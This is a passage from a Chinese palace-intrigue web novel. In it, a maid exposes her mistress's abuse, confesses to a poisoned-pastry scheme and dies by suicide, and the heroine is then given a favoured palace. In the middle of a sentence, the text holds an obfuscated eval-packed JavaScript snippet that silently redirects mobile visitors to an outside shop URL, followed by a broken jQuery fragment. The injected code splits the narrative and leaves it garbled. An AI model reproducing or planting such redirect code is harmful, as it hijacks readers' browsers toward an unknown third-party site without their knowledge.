等她找到理由来解释,真正的幕后主使也能把剩下的线索擦干净。
抛开其他不说,单单这一盘糕点是她准备的,这件事她就逃不开。
柳墨恨恨抬头,“我也不想背叛姑娘,可姑娘先前是怎么和我说的。”
“你说进宫后,咋们的日子就算是熬出头的了。确实进宫后比在家里的时候好,可姑娘却变了。”
“在庄家的时候,姑娘被欺负,奴婢保护姑娘,我们随便吃不饱睡不暖,可姑娘会安抚奴婢。”
“进宫后,明明日子好起来了。姑娘却不再重用我,反而用起了太后娘娘为你准备的宫女。”
“奴婢与姑娘之间共患难的感情,竟然叫姑娘害怕。害怕奴婢说出去,害怕奴婢揭露姑娘曾经和洞里的老鼠一样。”
“姑娘不愿意承认这些过往,对奴婢动辄打骂。”
柳墨掀开自己的袖子,扯开自己的衣襟。
苏梨梨离得最近,看得是最清楚的。上面疤痕错落,有新有旧。看起来有的是拿剪头戳的,有的是拿蜡烛烫的,触目惊心。
妆才人看到这一幕,扑过去把她的衣裳合上。因为她的身上也有这种疤痕,虽然太后用了最好的药给她,淡了很多。可看到之后,她还是会想起那段不好的年月。
“你盖上,谁让你露出来了?”
“我都说了我不是故意打你的,我后悔的。我每次都后悔的。”
“我没有要害人。”
“我已经把糕点收起来了,我没有针对苏修媛。”
苏梨梨不可置信望过去。
本来以为只是猪队友,宴席出了差错。没想到吃瓜还吃到了自己身上。敢情这盘糕点原本是要送给她的呀。
王婕妤吓傻了,她都不敢多看,死死拉住杜嫔的袖子,“你别动,杜嫔姐姐。”
多看一眼那些伤疤,她都怕晚上做梦吓到。要是她身上出现一条疤,她都不活了,还这样多!
还有妆才人,平日只是觉得她说话让人讨厌。今日这般,她可真怕她以后冲上来打自己。
苏梨梨这会儿也算是明白了,为什么妆才人明明逢人都要说上两句,经常还抻着脖子大呼小叫,却一点都不像是会动手打人。
没想到她不是不动手,她这一动就是狠手。
苏梨梨忽然想到了一种心理病。
或许妆才人不是本身就坏,她只是病了。
然而在杜嫔看来,她只觉得妆才人疯了。
这疯子刚刚居然还伤害了大公主。
杜嫔从王婕妤怀中扯出自己的袖子,跪在地上请示皇后,“皇后娘娘,妆才人谋害皇嗣,皇后娘娘要为大公主做主呀。”
“她如此这个模样,说不准日后就要谋害皇子。”
一句话戳到了皇后的心上。
大皇子作为嫡长子,是她最大的托付和依靠,在大皇子身上,也能看到她最大的期望。
可偏偏大皇子体弱,日日泡在药罐子里。就连马术课那种最基础的皇子课程,他吹风都会发热。
要真是遇上妆才人这般疯癫的,那还得了。
不过妆才人到底是关系到太后,皇后也不好直接下令处置,便让人给主仆两人拉了起来,送回宫里。
待她问过皇上和太后,再行处置。
“这一切都是奴婢自己的主意,和姑娘无关。”柳墨挣扎着脱离出妆才人的桎梏,抬起头来固执而果断说道,眼睛像是洒了霜一样,亮得有些吓人。
“皇后娘娘明鉴,请降罪于奴婢。”
“是奴婢心高气傲,妄图陷害主子,引着主子下药害人。好在主子心善,没有真做了这件事。”
不等皇后反应,柳墨扫视了一圈,看了在场的人一眼,恨恨站起来冲向了柱子。
血色弥漫,瞬间染红了地砖。
妆才人扑过去,不可置信,疯一样落泪,但却一句话都说不出来,喉咙像是被千斤重的举子给顶住一般。
柳墨死了,谁还记得和她一起共患难的岁月。
柳墨不在,也就没人会一而再再而三像是亲人一样惯着她。这和太后这个小姨是不一样的,完全不一样。
这一刻,妆才人平日里的伶牙俐齿嘎然而止,再也说不出话来。她觉得自己好像失去了世上对她最好的亲人。
苏梨梨离柱子最近,她低头,发现自己的裙摆上已然滴落了几点血迹。
靠得近,她听到了柳墨强撑着疼痛和最后一口气对妆才人说,“姑娘,奴婢不知道要用什么方法帮你回到以前心性纯善的时候,奴婢只能用这种方式劝你收手。姑娘是世界上最好的姑娘,错的是别人。”
“姑娘和太后娘娘提出离宫,去一个安静的地方。不要在这里,姑娘不开心的。”
最后,她大喊道,“皇后娘娘,都是奴婢的错,奴婢认错,请皇后娘娘不要怪罪于主子。”
那仿若是用尽了她所有的力气。
苏梨梨的耳畔寂静了一瞬,下一刻,她听到了低低的抽泣声。
透过无法出声喊出来哭泣发泄的妆才人,她似乎看到了往前她们主仆两人在庄家的凄惨岁月。
皇后主持大局,让吓坏了的王婕妤先行离开,叫太医去给她开安神汤。
她把苏梨梨和杜嫔留了下来。
毕竟她们两个才是受害者。
“待本宫请示过皇上和太后后,会再传召你二人。”
踏出门槛,杜嫔喊住苏梨梨。
比起苏梨梨,她倒是一点都没被吓到。转身出去,就已然将放在心口上手收了回来。
“刚刚是我焦急,错怪了苏修媛。”
苏梨梨侧眸看她,等着她的下文。
“日后若是苏修媛有时间,我想邀苏修媛来钟粹宫一聚,以表歉意。”
杜嫔是淑妃底下的人,也算是淑妃一手提拔上来的。
到底是杜嫔要见她,还是淑妃要见她。又或者是,杜嫔不想做淑妃的提线木偶,特意找得她合作。
思绪百转,苏梨梨面上不显,只点头应下。
水绿刚刚也在场,她自己都吓得大气不敢出,但这会儿却还是第一时间关心苏梨梨,“姑娘可是被吓到了。”
“等会儿回去,奴婢让人去熬安神汤。姑娘这件裙子还是不要了,奴婢拿去丢掉。”
水绿自己惨白着一张脸,但一路絮絮叨叨的,是关心也是驱逐内心的恐惧。
苏梨梨捏了一把她的脸,“回去了你让海棠进来,你自个喝点安神汤去睡一觉。”
“我们家水绿是最棒的了。”
这句话一出,苏梨梨明显
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099791|147141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
发现水绿软下去的腿站直了许多。
一觉睡到天黑,等苏梨梨醒来,刚好遇上皇后传召,前往慈宁宫。想来应当是要给她一个处理结果。
“此事苏修媛确实是委屈了,只是罪魁祸首已经伏法,倒是也只能补偿苏修媛。”这是皇后说的。
苏梨梨听出了她的言外之意。这是要大事化小小事化了,太后要保住妆才人。
不过也是,先不说妆才人就是真害到人,太后也不会让她出事,况且这不没害到自己。
“大公主也是鬼门关走了一朝,想来往后是个有福气的,不如今儿把封地给予了吧。皇帝你看如何?”这是太后。
太后没有直接对着杜嫔说,而是侧头看向皇帝。
箫旻垂眸扫了一眼底下跪着的两人,尤其是那个发丝分外蓬松的。
苏梨梨等了好久,都没听到上方的声响,悄悄抬起脑袋瞅了一眼,和皇帝对视上。
桃花眼中蒙上了一层叫人说不清道不明的寒气,清隽的脸第一次能用冷然来形容。
苏梨梨又垂下眼眸去,只给皇帝留一个毛茸茸的后脑勺。
她刚低下头去,就听箫旻说,“母后所言甚是。”
“既如此,便赐馆陶为大公主封地。”
在太后应下后,杜嫔紧随其后,“臣妾替馆陶公主谢过皇上、太后娘娘、皇后娘娘。”
这对杜嫔来讲,简直是因祸得福。
有了封地的馆陶公主,和深居宫中毫无存在感的大公主可是天差地别的。
历来馆陶一地皆是富庶安平,向来是给受宠的公主做封地的。杜嫔万万没想到,这天大的惊喜会砸在她和大公主身上。
“苏修媛刚升了位份,再升就不合适。”
箫旻出声,太后跟着应是,皇后帮着提议,“苏修媛位居九嫔,可为一宫之主。不若皇上将苏修媛挪去长兴宫。”
长兴宫苏梨梨自然知道。这就是现在景才人所居住的地方,距离皇帝的太极殿也就侧后方隔着一个宫的距离。
“皇后所言有理,那就叫苏修媛挪到翊坤宫去,行一宫主位之职。”
皇帝一下给拐了个弯,叫皇后都差点没接上话。
翊坤宫苏梨梨就更有印象了。
长兴宫和太极殿中间可不就隔着一个翊坤宫。除了先帝的皇贵妃以外,历朝历代的宠妃都是住在翊坤宫的。
其他尚且不言,单单翊坤宫的装潢摆件,绝对可以算是宫里数一数二的存在。比起太极殿尚有不足,但却超与皇后的坤宁宫。
也就是在位份上没有僭越,其他的可是哪哪都好。
狗皇帝这会儿这样好心?
苏梨梨再次悄咪咪抬起头瞅一眼,眼中明晃晃是天上馅饼砸脑袋上的清澈。
箫旻瞧见了,没说什么。
就这样拍板定下来,后日赏花宴结束,苏梨梨就可以搬宫。明日就交由殿中省清扫翊坤宫,便于入住。
“妆才人御下不严,此事哀家也有差错。三日后,哀家会带着妆才人前往五台山,祈福延续大夏繁荣。今后妆才人就留在五台山,无事召见,哀家不会带她回宫。”
“一切照母后所言。”
就这样,妆才人就此离开皇宫。
或许对于她来说,可能是一件好事。